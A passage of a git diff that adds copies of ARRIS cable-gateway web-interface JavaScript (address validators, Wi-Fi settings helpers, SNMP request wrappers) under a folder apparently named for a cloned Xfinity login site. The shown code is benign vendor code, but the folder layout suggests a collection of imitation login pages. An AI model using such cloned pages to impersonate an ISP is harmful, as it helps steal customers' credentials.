RegExp("(0:){"+i+"}"); + if (rg.test(s)) { + s = s.replace(rg,":"); + break; + } + } + s = s.substr(0,s.length-1); + if (s == "") + return "::"; + if (s.startsWith(":")) + return ":"+s; + if (s.endsWith(":")) + return s+":"; + return s; +} + +function ipv6ToHex(s) { + var v = ipv6ToHexOrNull(s); + return v===null || v===undefined ? "$00000000000000000000000000000000": v; +} + function ipv6ToHexOrNull(s) { + if (s=="::") + return "$"+"".padLeft("0",32); + if (s.startsWith("::")) + s = "0::"+s.substr(2); + if (s.endsWith("::")) + s = s.substr(0, s.length-2)+"::0"; + var foundColonColon=false; + var hex = ""; + var fail = false; + var parts = s.split(":"); + if (parts.length == 1 || parts.length > 8) return null; + for (var i=0;i pos) { + bits = v - pos; + if (bits > 8) + bits = 8; + } + pos += 8; + s += toHexDig((1 << bits) - 1, 2) + (i < 3 ? " " : ""); + } + return hexToIp(s); +} + + + +function prefix() { + var o = formatter(); + o.load = function(v) { + var s = "$"; + if (!v) + v = 0; + var pos = 0; + for (var i = 0; i < 4; i++) { + var bits = 0; + if (v > pos) { + bits = v - pos; + if (bits > 8) + bits = 8; + } + pos += 8; + s += toHexDig( (((1<= 0; j--) { + var on = (d & (1 << j)); + if (!done && on) + prefix++; + else done = true; + if (done && on) + throw msg; + } + } + return prefix; + }; + o.validate = function(v) { + if (this.notEmpty && (""+v).length === 0) + throw xlate("Subnet Mask Address cannot be empty"); + if (!v) + return v; + var reg = /^([0-9]+)\.([0-9]+)\.([0-9]+)\.([0-9]+)$/; + if (!reg.test(v)) + throw xlate("Invalid Subnet Mask: Must be 4 numbers separated by '.' e.g. 123.44.5.245"); + var allZero = true; + _.each(v.split(/\./), function f(i) { + if (i.asInt() > 255) + throw xlate("'%s' is not a valid part of a Subnet Mask. Must be less than 256.",i);; + if (allZero) + allZero = i.asInt() === 0; + }); + + if (this.notZero && allZero) + throw xlate("Subnet Mask cannot be all zero"); + return v; + } + return o; +} + +function nullIp(ip) { + return ip.length === 0 || ip == "0.0.0.0" || ip == "$00000000"; +} + +function hexIp() { + var o = formatter(); + o.load = function(v) { + return hexToIp(v); + }; + o.store = function(v) { + //alert("store "+v+" "+ipToHex(v)); + return ipToHex(v, " "); + }; + o.validate = function(v) { + if (this.notEmpty && (""+v).length === 0) + throw xlate("IP Address cannot be empty"); + if (!v) + return v; + var reg = /^([0-9]+)\.([0-9]+)\.([0-9]+)\.([0-9]+)$/; + if (!reg.test(v)) + throw xlate("Invalid IP Address: Must be 4 numbers separated by '.' e.g. 123.44.5.245"); + var allZero = true; + var index = 0; + _.each(v.split(/\./), function f(i) { + if (i.asInt() > 255) + throw xlate("'%s' is not a valid part of an IP Address. Must be less than 256.", i); + if (index==0 && i.asInt() == 127) + throw xlate("Invalid IP Address"); + if (allZero) + allZero = i.asInt() === 0; + index++; + }); + + if (this.notZero && allZero) + throw xlate("IP Address cannot be all zero"); + return v; + } + return o; +} +function hexIpNotNull() { + var o = hexIp(); + o.notEmpty = true; + o.notZero = true; + return o; +} + + + + + +function TypedAddr(type,addr) { + this.type = type; + this.addr = addr; + this.toString = function() { + return addr; + } +} + +function typedAddr() { + var o = formatter(); + o.notEmpty = true; + function hasName(v) { + return /[a-z]/i.test(v); + } + o.hexIp = new hexIp(); + o.load = function(v) { + if (v.type == "16") + return v.addr; + else return this.hexIp.load(v.addr); + }; + o.store = function(v) { + var oo = { + type:hasName(v) ? "16" : "1", // mod for ipv6 + addr:hasName(v) ? v : o.hexIp.store(v, " ") + }; + return oo; + }; + o.validate = function(v) { + if (this.notEmpty && (""+v).length === 0) + throw xlate("IP Address cannot be empty"); + if (!v) + return v; + if (hasName(v)) + return v; + return o.hexIp.validate(v); + } + return o; +} + + +function hexIpV6() { + var o = formatter(); + o.notEmpty = true; + //o.notZero = true; leave this until heavy qa + o.load = function(v) { + if (!v) + v = "::"; + else v = hexToIpv6(v) || "::"; + if (!o.notEmpty && (!v || v=="::" || /^.?null.?$/.test(v))) + v = ""; + return v; + } + o.store = function(v) { + return ipv6ToHex(v); + } + o.validate = function(v) { + if (!o.notEmpty && v == "") + return v; + if(!o.notEmpty && /^.?null.?$/.test(v)) + return ""; + var hex = ipv6ToHexOrNull(v); + if (hex !== null) { + if (o.notZero && hex == "$00000000000000000000000000000000") + throw xlate("IP Address cannot be empty"); + return v; + } + throw xlate("Invalid IPV6 Address"); + } + o.normalize = function(v) { + return o.load(o.store(v)); + } + + + o.size = 40; + return o; +} + + + +function hexIpV6OrNull() { + o = hexIpV6(); + o.notEmpty = false; + o.notZero = false; + return o; +} + +function hexIpV6orFQDN() { + var o = formatter(); + o.load = function(v) { + if (v.startsWith("$")) { + if (v.replace("$","").replace(/ /g,"") == "00000000000000000000000000000000") + return ""; + return hexToIpv6(v) || "::"; + } + else return v; + } + o.store = function(v) { + return !v ? "" : (v.contains(":") ? ipv6ToHex(v) : v); + } + o.validate = function(v) { + if (!v) + return ""; //throw xlate("Must specify domain name or IP address"); + if (v.contains(":") && ipv6ToHexOrNull(v) !== null) + return v; + else { + return v; + } + throw xlate("Invalid IPV6 Address"); + } + o.size = 40; + return o; +} + + + +function macAddr() { + var o = formatter(); + o.load = function(v) { + return hexToMac(v); + }; + o.store = function(v) { + //alert("store "+v+" "+ipToHex(v)); + return macToHex(v); + }; + o.validate = function(v) { + if (!v) + return v; + var reg = /^[0-9A-Fa-f][0-9A-Fa-f]:[0-9A-Fa-f][0-9A-Fa-f]:[0-9A-Fa-f][0-9A-Fa-f]:[0-9A-Fa-f][0-9A-Fa-f]:[0-9A-Fa-f][0-9A-Fa-f]:[0-9A-Fa-f][0-9A-Fa-f]$/; + if (!reg.test(v) || v == "00:00:00:00:00:00") + throw xlate("Invalid Mac Address: Must be 6 pairs of hexdecimals separated by ':' e.g. 12:34:56:78:9A:BC"); + return v; + } + return o; +} + +function intField() { + var o = formatter(); + o.validate = function(v) { + var reg = /^[0-9]+$/; + if (!reg.test(v)) + throw xlate("%s must be a number.",this.label); + return v; + } + return o; +} + +function intRangeField(lo, hi) { + var o = formatter(); + o.validate = function(v) { + var reg = /^[0-9]+$/; + if (!reg.test(v)) + throw xlate("%s must be a number.",this.label); + if (v.asInt()hi) + throw xlate("%s must be between %s and %s.",this.label,lo,hi); + return v; + } + return o; +} + +function intRangeFieldOrZero(lo, hi) { + var o = formatter(); + o.validate = function(v) { + var reg = /^[0-9]+$/; + if (!reg.test(v)) + throw xlate("%s must be a number.",this.label); + if (v.asInt()!==0 && (v.asInt()hi)) + throw xlate("%s must be between %s and %s or 0.",v,lo,hi); + return v; + } + return o; +} + +function rangeCheck (msg, v, lo, hi) { + if (v > hi || v 32) + throw xlate("Invalid SSID: Must be between 1 and 32 characters."); + _.each(s.split(""), function(c, i) { + if (i === 0 && "!#;".indexOf(c) != -1) + throw xlate("Invalid SSID: Cannot start with !, # or ;"); + if ("?\"$[\\]".indexOf(c) != -1) + throw xlate("Invalid SSID: Cannot contain ?, \", $, [, \\, ] or +"); + }); + return s; + } + return o; +} + +function canConvertToASCII(s) { + return _.all(parseHexString(s), function(d) { + return d >= 32 && d <= 126 + }); +} +function convertHexStringToASCIIString(hexString) { + return String.fromCharCode.apply(this, parseHexString(hexString)); +} +function convertASCIIStringToHexString(asciiString) { + var s="$"; + for (var i=0; i" + JSON.stringify(l)); + if (l.length) { + var tag = l[0]; + var value = l.length > 1 ? l.splice(1, l.length-1) : ""; + if (value) { + if (o[tag]) { + o[tag].push(value) + } else { + o[tag] = [value]; + } + } + } + } + }); + } + $.log(JSON.stringify(o)); + o.get = function(s) { + try { + if (this[s]) + return this[s][0]; + } catch(e) { + return ""; + } + } + o.getTable = function(s) { + try { + if (this[s]) + return this[s]; + else return []; + } catch(e) { + return []; + } + } + o.eachRow = function(s, f) { + try { + if (this[s]) + _.each(this[s],f); + } catch(e) { + return ""; + } + } + return o; +} + + + +function validateIpOnSubnet(ip) { + var IPAddress = arLanGatewayIp.get(getLan()[0]).replace(/[$ ]/g,""); + var SubnetMask = arLanSubnetMask.get(getLan()[0]).replace(/[$ ]/g,""); + var f = hexIp(); + if (ip.contains(".")) { + f.validate(ip); + ip = f.store(ip).replace(/[$ ]/g,""); + } else { + ip = ip.replace(/[$ ]/g,""); + } + if ((parseInt(ip, 16) & parseInt(SubnetMask,16)) != (parseInt(IPAddress, 16) & parseInt(SubnetMask,16))) { + throw xlate("Invalid IP Address. Invalid network address."); + } +} + +function convertToSnmpHex(s) { + var t = s; + if (!t.endsWith(" ")) + t += " "; + var reg = /^([0-9A-Fa-f][0-9A-Fa-f] )+$/; + if (reg.test(t)) { + return "$"+t.replace(/ /g,""); + } + return s; +} + + +function IPV6ToOid(v6) { + hexIpV6().validate(v6); + var hd = hexIpV6().store(v6); + if (!hd) + throw xlate("Invalid IPV6 Address"); + hd = hd.replace("$", ''); + var s = ""; + while (hd.length >= 4) { + s = s + parseInt(hd.substr(0, 4),16)+"."; + hd = hd.substr(4); + } + s = s.substr(0, s.length-1); + return s; +} + +function oidToIPV6(oid) { + var v6 = ""; + + var grouphasValue = false; + if (is852()) { + var flag = 0; + _.each(oid.split("."), function(s) { + if (flag == 1) { + var tmp = parseInt(s).toString(16); + if(tmp.length==1 && parseInt(tmp)!=0){ + tmp="0"+tmp; + } + + if( grouphasValue == true && parseInt( tmp ) == 0 ) + { + tmp += "0"; + grouphasValue = false; + } + + v6 += tmp +":"; + flag = 0; + } else { + var tmp = parseInt(s).toString(16); + if(tmp.length==1 && parseInt(tmp)!=0){ + tmp="0"+tmp; + } + + if( parseInt( tmp ) != 0 ) + { + grouphasValue = true; + } + + v6 += tmp; + flag+=1; + } + }); + } else { + _.each(oid.split("."), function(s) { v6 += parseInt(s).toString(16)+":"; }); + } + + var v = v6.substr(0, v6.length-1).toUpperCase(); + return hexIpV6().normalize(v); +} + +function getChannelList() { + var country = (snmpGet1(arWiFiCountry.oid+".0") || "").toLowerCase(); + var isEurope = country ? "eu,at,be,ch,cz,de,dk,ee,ie,el,fr,es,it,cy,lv,lt,lu,hu,mt,nl,pl,pt,ro,gb,gr,hu,ie,si,sk,fi,se,uk".contains(country) : false; + var isJapan = country == "jp"; + if (isJapan) + return ["0:Auto", "1:1", "2:2", "3:3", "4:4", "5:5", "6:6", "7:7", "8:8", "9:9", "10:10", "11:11", "12:12", "13:13","14:14"]; + if (isEurope) + return ["0:Auto", "1:1", "2:2", "3:3", "4:4", "5:5", "6:6", "7:7", "8:8", "9:9", "10:10", "11:11", "12:12", "13:13"]; + return ["0:Auto", "1:1", "2:2", "3:3", "4:4", "5:5", "6:6", "7:7", "8:8", "9:9", "10:10", "11:11"]; +} + +function security_encryption(mode, WEPencryptionmode, WPAalgorithm) +{ + if(mode == "0") + { + return "Open"; + } + else if(mode == "1") + { + if(WEPencryptionmode == "1") + { + return "WEP64"; + } + if(WEPencryptionmode == "2") + { + return "WEP128"; + } + } + else if(mode == "2") + { + if(WPAalgorithm == "1") + { + return "WPA-PSK(TKIP)"; + } + else if(WPAalgorithm == "2") + { + return "WPA-PSK(AES)"; + } + } + else if(mode == "3") + { + if(WPAalgorithm == "1") + { + return "WPA2-PSK(TKIP)"; + } + else if(WPAalgorithm == "2") + { + return "WPA2-PSK(AES)"; + } + else if(WPAalgorithm == "3") + { + return "WPA2-PSK(TKIP/AES)"; + } + } + else if(mode == "7") + { + return "WPAWPA2-PSK(TKIP/AES)"; + /* + if(WPAalgorithm == "1") + { + return "WPAWPA2-PSK(TKIP)"; + } + else if(WPAalgorithm == "2") + { + return "WPAWPA2-PSK(AES)"; + } + else if(WPAalgorithm == "3") + { + return "WPAWPA2-PSK(TKIP/AES)"; + }*/ + } + else + { + return "NONE"; + } +} + +function wirelessmode(i) { + if (i == "0") + { + return "Mixed BG"; + } + else if (i == "1") + { + return "B Only"; + } + else if (i == "4") + { + return "G Only"; + } + else if (i == "6") + { + return "N Only"; + } + else if (i == "7") + { + return "Mixed GN"; + } + else if (i == "9") + { + return "Mixed BGN"; + } + else + { + return "unknown -- " + i; + } +} + +function wifi50mode(i) { + if(i == "0") + { + return "Mixed AN"; + } + else if(i == "1") + { + return "A Only"; + } + else if(i == "4") + { + return "N Only"; + } + else if(i == "5") + { + return "Only AC"; + } + else if(i == "6") + { + return "Mixed ACN"; + } + else if(i == "7") + { + return "Mixed ACNA"; + } + else + { + return "unknown -- " + i; + } +} + +function getWiFiIndex(band, SSID) +{ + if(band == "24") + { + if(SSID == "HOME" || SSID == "BSS_1") + { + return "10001"; + } + else if(SSID == "BSS_2") + { + return "10002"; + } + else if(SSID == "BSS_3") + { + return "10003"; + } + else if(SSID == "BSS_4") + { + return "10004"; + } + else if(SSID == "BSS_5") + { + return "10005"; + } + else if(SSID == "BSS_6") + { + return "10006"; + } + else if(SSID == "BSS_7") + { + return "10007"; + } + else if(SSID == "BSS_8") + { + return "10008"; + } + else if(SSID == "BSS_9") + { + return "10009"; + } + else if(SSID == "BSS_10") + { + return "10010"; + } + else if(SSID == "BSS_11") + { + return "10011"; + } + else if(SSID == "BSS_12") + { + return "10012"; + } + else if(SSID == "BSS_13") + { + return "10013"; + } + else if(SSID == "BSS_14") + { + return "10014"; + } + else if(SSID == "BSS_15") + { + return "10015"; + } + else if(SSID == "BSS_16") + { + return "10016"; + } + } + else if(band == "50") + { + if(SSID == "HOME" || SSID == "BSS_1") + { + return "10101"; + } + else if(SSID == "BSS_2") + { + return "10102"; + } + else if(SSID == "BSS_3") + { + return "10103"; + } + else if(SSID == "BSS_4") + { + return "10104"; + } + else if(SSID == "BSS_5") + { + return "10105"; + } + else if(SSID == "BSS_6") + { + return "10106"; + } + else if(SSID == "BSS_7") + { + return "10107"; + } + else if(SSID == "BSS_8") + { + return "10108"; + } + else if(SSID == "BSS_9") + { + return "10109"; + } + else if(SSID == "BSS_10") + { + return "10110"; + } + else if(SSID == "BSS_11") + { + return "10111"; + } + else if(SSID == "BSS_12") + { + return "10112"; + } + else if(SSID == "BSS_13") + { + return "10113"; + } + else if(SSID == "BSS_14") + { + return "10114"; + } + else if(SSID == "BSS_15") + { + return "10115"; + } + else if(SSID == "BSS_16") + { + return "10116"; + } + } +} + +function Parse_Page_Name( org_url ) +{ + return org_url.substring(org_url.lastIndexOf('/')+1); +} + +function Waiting_Setting_And_Redirect( url ) +{ + window.location = "waiting_loading.php?" + url; +} + + +/* +function convertCmtStr(str) +{ + var ret; + var str_new =""; + var i = 0; + + var num = 0; + + for(i = 0; i= (i+3))) + { + num = parseInt((str.charAt(i+1)), 16) * 16 + parseInt((str.charAt(i+2)), 16); + if(isNaN(num)) + { + str_new += str.charAt(i); + } + else + { + ret = String.fromCharCode(num); + i = i+2; + str_new += ret; + } + } + else + { + str_new += str.charAt(i); + } + } + + return str_new; +} +*/ +// todo: add change password for suddenlink +// todo: make sure tabs from mg gets moved over? \ No newline at end of file diff --git a/Sites/Login-Xfinity/Xfinity_files/base_95x.js b/Sites/Login-Xfinity/Xfinity_files/base_95x.js new file mode 100644 index 0000000..d51268a --- /dev/null +++ b/Sites/Login-Xfinity/Xfinity_files/base_95x.js @@ -0,0 +1,829 @@ +//Copyright 2011-2012, ARRIS Group, Inc., All rights reserved. +var attrs = { + //Model:"GW", + Family:"950", + //Model:"852", + CLASSICCM:true, + MOCA:false, + IPV6:true, + Languages:["English:English", "Spanish:Spanish", "French:French", "German:German","Portuguese:Portuguese"] +} + // todo: put in snmp check for no data returned + +var attrs_TG852G = { + Model:"TG852G", + Family:"950", + CLASSICCM:true, + MOCA:false, + IPV6:true, + Battery: true, + Wifi: 1, + Dect: false, + Languages:["English:English", "Spanish:Spanish", "French:French", "German:German","Portuguese:Portuguese"] +}; + +var attrs_TG862G = { + Model:"TG862G", + Family:"950", + CLASSICCM:true, + MOCA:false, + IPV6:true, + Battery: true, + Wifi: 1, + Dect: false, + Languages:["English:English", "Spanish:Spanish", "French:French", "German:German","Portuguese:Portuguese"] +}; + +var attrs_TG1642 = { + Model:"TG1642", + Family:"950", + CLASSICCM:true, + MOCA:false, + IPV6:true, + Battery: true, + Wifi: 1, + Dect: false, + Languages:["English:English", "Spanish:Spanish", "French:French", "German:German","Portuguese:Portuguese"] +}; + +var attrs_DG1670 = { + Model:"DG1670", + Family:"950", + CLASSICCM:true, + MOCA:true, + IPV6:true, + Battery: false, + Wifi: 2, + Dect: false, + Languages:["English:English", "Spanish:Spanish", "French:French", "German:German","Portuguese:Portuguese"] +}; + +var attrs_TG1672 = { + Model:"TG1672", + Family:"950", + CLASSICCM:true, + MOCA:true, + IPV6:true, + Battery: false, + Wifi: 2, + Dect: false, + Languages:["English:English", "Spanish:Spanish", "French:French", "German:German","Portuguese:Portuguese"] +}; + +var attrs_TG1682 = { + Model:"TG1682", + Family:"950", + CLASSICCM:true, + MOCA:true, + IPV6:true, + Battery: true, + Wifi: 2, + Dect: true, + Languages:["English:English", "Spanish:Spanish", "French:French", "German:German","Portuguese:Portuguese"] +}; + +var attrs_MG2402 = { + Model:"MG2402", + Family:"950", + CLASSICCM:true, + MOCA:true, + IPV6:true, + Battery: true, + Wifi: 2, + Dect: true, + Languages:["English:English", "Spanish:Spanish", "French:French", "German:German","Portuguese:Portuguese"] +}; + +var attrs_OG1600 = { + Model:"OG1600A", + Family:"950", + CLASSICCM:true, + MOCA:false, + IPV6:true, + Battery: false, + Wifi: 2, + Dect: false, + Languages:["English:English", "Spanish:Spanish", "French:French", "German:German","Portuguese:Portuguese"] +}; + +var attrs_Default = { + Model:"unknown", + Family:"unknown", + CLASSICCM:false, + MOCA:true, + IPV6:true, + Battery: true, + Wifi: 2, + Dect: false, + Languages:["English:English", "Spanish:Spanish", "French:French", "German:German","Portuguese:Portuguese"] +}; + + +var g_ModelName = ""; +var g_UserName = ""; +var g_attrTable = {}; +// UNIHAN ADD START +var CAN_NOT_SET_CRED = "can_not_login"; +// UNIHAN ADD END +function uh_attrTable_init() +{ + //g_ModelName = mib2system.sysName.get(); + //reduce loading time + g_ModelName=readCookie("sysDescrModelName"); + g_UserName = userName(); + + /*switch (g_ModelName) + { + case "TG862G": g_attrTable = attrs_TG862G; break; + case "TG1642": g_attrTable = attrs_TG1642; break; + case "DG1670": g_attrTable = attrs_DG1670; break; + case "TG1672": g_attrTable = attrs_TG1672; break; + case "TG1682": g_attrTable = attrs_TG1682; break; + case "MG2402": g_attrTable = attrs_MG2402; break; + default: g_attrTable = attrs_Default; break; + }*/ + if (g_ModelName.search("TG862")!=-1) + { + g_attrTable = attrs_TG862G; + } + else if (g_ModelName.search("TG852")!=-1) + { + g_attrTable = attrs_TG852G; + } + else if (g_ModelName.search("TG1642")!=-1) + { + g_attrTable = attrs_TG1642; + } + else if (g_ModelName.search("DG1670")!=-1) + { + g_attrTable = attrs_DG1670; + } + else if (g_ModelName.search("TG1672")!=-1) + { + g_attrTable = attrs_TG1672; + } + else if (g_ModelName.search("TG1682")!=-1) + { + g_attrTable = attrs_TG1682; + } + else if (g_ModelName.search("MG2402")!=-1) + { + g_attrTable = attrs_MG2402; + } + else if (g_ModelName.search("OG1600A")!=-1) + { + g_attrTable = attrs_OG1600; + } + else + { + g_attrTable = attrs_Default; + } +} +function uh_getModel() +{ + return g_attrTable["Model"]; +} +function uh_hasBattery() +{ + return true==g_attrTable["Battery"]; +} +function uh_hasWifi() +{ + if (g_attrTable["Wifi"]>0) + { + return g_attrTable["Wifi"]; + } + else + { + return false; + } +} +function uh_hasMoca() +{ + return true==g_attrTable["MOCA"]; +} +function uh_hasDect() +{ + return true==g_attrTable["Dect"]; +} + +function encode(o) { + o = "" + o; + /* encode "%" was switched "%2525" */ + //o = o.replace(/%/g, "%25"); + o = encodeURIComponent(o); + o = o.replace(/;/g, "%3B"); + o = o.replace(/,/g, "%2C"); + return o; +} +function getAttr(name) { + return attrs[name] || ""; +} +function isMG() { + return attrs["Family"] == "MG"; +} +function is852() { + return attrs["Family"] == "852"; +} +function is95x() { + return attrs["Family"] == "950"; +} +function isIPV6() { + return attrs["IPV6"]; +} +function getLanguages() { + return attrs["Languages"]; +} +function userName() { + return attrs["Name"] || ""; +} +function isTechnician() { + return isLoggedIn() && (isMG() || attrs["Technician"]); +} +function isLoggedIn() { + if (!attrs["Credential"]) { + attrs["Credential"] = readCookie("credential"); + if (attrs["Credential"]) { + var o = Base64.decode(attrs["Credential"]); + o = JSON.parse(o); + attrs["Family"] = o["family"]; + attrs["Technician"] = o["tech"]; + attrs["Name"] = o["name"]; + } + } + return attrs["Credential"]; +} +var hooks = { + buildSetURL:function (oid, value, type) { + var url = "snmpSet?oid=" + oid + "=" + encode(value) + ";" + type + ";"; + return url; + }, + buildGetURL:function (oida) { + var url = "snmpGet?oids=" + _.reduce(oida, function (acc, oid) { + return acc + encode(oid) + ";"; + }, ""); + return url; + }, + buildMultiGetURL:function (oida) { + var url = "snmpGet?oids=" +oida+";"; //Get Data typeless + return url; + }, + buildWalkURL:function (oida) { + var url = "walk?oids=" + _.reduce(oida, function (acc, oid) { + return acc + encode(oid) + ";"; + }, ""); + return url; + }, + buildMultiWalkURL:function (oida) { + var url = "walk?oids=" + oida; + return url; + }, + postProcess:function (json) { + return json; + } +}; + +function snmpSet1(oid, value, type) { +/* +//ASN.1 basic types, all in UNIVERSAL scope +#define A_NO_ID 0x00 +#define A_BOOLEAN 0x01 +#define A_INTEGER 0x02 +#define A_BITSTRING 0x03 +#define A_OCTETSTRING 0x04 +#define A_NULL 0x05 +#define A_OBJECTID 0x06 +#define A_SEQUENCE 0x10 +#define A_SET 0x11 +#define A_APPLICATION 0x40 + +#define VT_NUMBER A_INTEGER +#define VT_STRING A_OCTETSTRING +#define VT_BITS A_OCTETSTRING // same as a string +#define VT_OBJECT A_OBJECTID +#define VT_EMPTY A_NULL +#define VT_IPADDRESS (A_APPLICATION | 0) +#define VT_COUNTER (A_APPLICATION | 1) +#define VT_GAUGE (A_APPLICATION | 2) +#define VT_UNSIGNED32 (A_APPLICATION | 2) // same as a guage +#define VT_TIMETICKS (A_APPLICATION | 3) +#define VT_OPAQUE (A_APPLICATION | 4) +#define VT_COUNTER64 (A_APPLICATION | 6) +#define VT_UINTEGER32 (A_APPLICATION | 7) +*/ + // value = encodeHack(value); + var url = hooks.buildSetURL(oid, value, type); //"snmpSet?oid=" + oid + "=" + encode(value) + ";" + type + ";"; + //$.log("set " + decodeOid(oid) + "=" + value); + if (window.console) console.log("set " + decodeOid(oid) + "=" + value); + //$.log(url); + if (window.console) console.log(url); + var rv = "fail"; + baseAjax({ + url:url, + timeout:9000, + success:function (result) { + rv = result; + }, + error:function (jqXHR, textStatus, errorThrown) { + if (jqXHR.status == 401) { + logout(false); + rv = "unauthorized"; + window.location.href="index.php"; + return; + } + }, + // dataType : "json", + async:false, + cache:false + }); + + if (rv == "unauthorized") + throw "unauthorized"; + if (rv == "fail" && shouldVerify(oid, value)) + throw "Unexpected Error";//xlate("Unexpected Error"); + //$.log(">>" + JSON.stringify(rv)); + if (window.console) console.log(">>" + JSON.stringify(rv)); + return rv; +} + + +function shouldVerify(oid, val) { + // if (isMG()) + // return false; // GW snmp is a little screwy so skip for now + + if (oid.startsWith(arLanClientType.oid + ".")) // 950 bug + return false; + + if (oid.startsWith(arApplyAllSettings.oid + ".")) + return true; //was false; + if (oid.startsWith(arWpsSTAPin.oid + ".")) + return false; + if (oid.startsWith(arWpsPushButton.oid + ".")) + return false; + if (oid.startsWith(arCurrentTime.oid + ".")) + return false; + if (oid.startsWith(arEmailApplySettings.oid + ".")) + return false; + if (oid.startsWith(arClearLogs.oid + ".")) + return false; + if (oid.startsWith(arReboot.oid + ".")) + return false; + if (oid.startsWith(arClearMSOLogs.oid + ".")) + return false; + if (oid.startsWith(arEmailApplySettings.oid + ".")) + return false; + if (oid.startsWith(arApplySNTPSettings.oid + ".")) + return false; + if (oid.startsWith(arDefaults.oid + ".")) + return false; + if (oid.startsWith(SNTPServerTable.oid + ".")) + return false; + if (oidIsRowStatus(oid) && val != 1) + return false; + return true; +} + + +function snmpSet1Async(oid, value, type, func) { + // value = encodeHack(value); + var url = hooks.buildSetURL(oid, value, type); //"snmpSet?oid=" + oid + "=" + encode(value) + ";" + type + ";"; + //$.log("setasync " + decodeOid(oid) + "=" + value); + if (window.console) console.log("setasync " + decodeOid(oid) + "=" + value); + //$.log(url); + if (window.console) console.log(url); + + baseAjax({ + url:url, + success:function (result) { + if (func) func(true); + }, + error:function (jqXHR, textStatus, errorThrown) { + if (func) func(false); + }, +// error: function(jqXHR, textStatus, errorThrown) { +// alert("text:{An error has occured. Your changes may have not been applied. Please refresh this page and verify the changes you expect.}"); +// throw ""; +// }, + // dataType : "json", + async:true, + cache:false + }); +} + + +function snmpGet1(oid) { + try { + var url = hooks.buildGetURL([oid]); //"snmpGet?oids=" + encode(oid) + ";"; + //var url = "walk?oids=" + encodeURI(oid + ";"); + //$.log(url); + var rv = ""; + baseAjax({ + url:url, + timeout:9000, + success:function (result) { + //$.log("get result " + result); + if (window.console) console.log("get result " + result); + rv = result; + }, + error:function (jqXHR, textStatus, errorThrown) { + logout(false); + rv = "unauthorized"; + window.location.href="index.php"; + return; + }, + dataType:"text", + async:false, + cache:false + }); + // strip of any crap on front for sercomm bug + // if (rv && (typeof rv == 'string')) { + // while (rv.length !== 0 && rv.charAt(0) != '{' && rv.charAt(0) != '[') { + // rv = rv.substr(1); + // } + // rv = rv.replace(",", ""); + // } + + //$.log("pre-parse" + rv); + if (window.console) console.log("pre-parse" + rv); + var rrv = JSON.parse(rv); + //$.log("" + rrv); + if (window.console) console.log("" + rrv); + rrv = hooks.postProcess(rrv); + //$.log(">>" + JSON.stringify(rrv)); + if (window.console) console.log(">>" + JSON.stringify(rrv)); + if (rrv && rrv[oid]) + rrv = rrv[oid]; + else rrv = ""; + //return decodeHack(rv); + return rrv; + } catch (e) { + //$.log("snmp get error " + e); + if (window.console) console.log("snmp get error " + e); + return ""; + } +} + + +function xxxcompare(a, b) { + a = "" + a; + b = "" + b; + if (a.startsWith("$")) + a = a.replace(/ /g, ""); + if (b.startsWith("$")) + b = b.replace(/ /g, ""); + if (a.startsWith("$") && !b.startsWith("$")) { + if (canConvertToASCII(a)) + a = convertHexStringToASCIIString(a) + } else if (b.startsWith("$") && !a.startsWith("$")) { + if (canConvertToASCII(b)) + b = convertHexStringToASCIIString(b) + } + if (a.length === 0 && b === "$00000000") { + return true; + } + if (a.startsWith("$") && b.startsWith("$")) { + return a.toUpperCase() == b.toUpperCase(); + } + return a == b; +} + +var canCloseWaitDialog = false; +function openWaitDialog() { + canCloseWaitDialog = false; + $("#wait-dialog").dialog( + { autoOpen:false, + height:80, + width:250, + resizable:false, + title:"Please Wait", + beforeClose:function () { + return canCloseWaitDialog; + } + }); + prepareDialog("wait-dialog"); + $("#wait-dialog").dialog("open"); +} + +function closeWaitDialog() { + canCloseWaitDialog = true; + $("#wait-dialog").dialog("close"); +} + + +function doApplyAndRebootAsync(applyNeeded, rebootNeeded, refreshNeeded) { + var canCloseWaitDialog = false; + var busyDialogNeeded = true; + + function openWaitDialog() { + if (!busyDialogNeeded) + return; + canCloseWaitDialog = false; + $("#wait-dialog").dialog( + { autoOpen:false, + height:80, + width:250, + resizable:false, + title:"Please Wait", + beforeClose:function () { + return canCloseWaitDialog; + } + }); + prepareDialog("wait-dialog"); + $("#wait-dialog").dialog("open"); + } + + function closeWaitDialog() { + busyDialogNeeded = false; + canCloseWaitDialog = true; + $("#wait-dialog").dialog("close"); + } + + function start() { + if (applyNeeded) + snmpSet1Async(arApplyAllSettings.oid + ".0", "1", "2", applyDone); + else applyDone(true); + } + + function applyDone(ok) { + if (rebootNeeded) + snmpSet1Async(arReboot.oid + ".0", "1", "2", rebootDone); + else rebootDone(true); + } + + function rebootDone(ok) { + closeWaitDialog(); + if (refreshNeeded) + refresh(); + } + + setTimeout(openWaitDialog, 2); + start(); +} + + +// sa [ string... ] +function snmpGet(sa) { + try { + var url = hooks.buildGetURL(sa); + var rv = ""; + baseAjax({ + url:url, + timeout:9000, + success:function (result) { + rv = result; + }, + error:function (jqXHR, textStatus, errorThrown) { + logout(false); + rv = "unauthorized"; + window.location.href="index.php"; + return; + }, + dataType:"json", + async:false, + cache:false + + }); + rv = hooks.postProcess(rv); + //$.log(rv); + if (window.console) console.log(rv); + return rv; + } catch (e) { + //$.log("snmpGet caught " + e); + if (window.console) console.log("snmpGet caught " + e); + return { }; + } +} + +// sa [ string... ] +function snmpMultiGet(sa) { + try { + var url = hooks.buildMultiGetURL(sa); + var rv = ""; + baseAjax({ + url:url, + timeout:9000, + success:function (result) { + rv = result; + }, + error:function (jqXHR, textStatus, errorThrown) { + logout(false); + rv = "unauthorized"; + window.location.href="index.php"; + return; + }, + dataType:"json", + async:false, + cache:false + + }); + rv = hooks.postProcess(rv); + //$.log(rv); + if (window.console) console.log(rv); + return rv; + } catch (e) { + //$.log("snmpGet caught " + e); + if (window.console) console.log("snmpGet caught " + e); + return { }; + } +} + +// sa [ string... ] + +function snmpWalk(sa) { + try { + var url = hooks.buildWalkURL(sa); + var rv = ""; + baseAjax({ + url:url, + timeout:9000, + success:function (result) { + rv = result; + // _.each(_.keys(rv), function(k) { + // var dv = encodeHack(rv[k]); + // rv[k] = dv; + // }); + }, + error:function (jqXHR, textStatus, errorThrown) { + logout(false); + rv = "unauthorized"; + window.location.href="index.php"; + return; + }, + dataType:"json", + async:false, + cache:false + + }); + //$.log(rv); + if (window.console) console.log(rv); + rv = hooks.postProcess(rv); + return rv; + } catch (e) { + //$.log("snmpWalk caught " + e); + if (window.console) console.log("snmpWalk caught " + e); + return { }; + } +} + + +// sa [ string... ] + +function snmpMultiWalk(sa) { + try { + var url = hooks.buildMultiWalkURL(sa); + var rv = ""; + baseAjax({ + url:url, + success:function 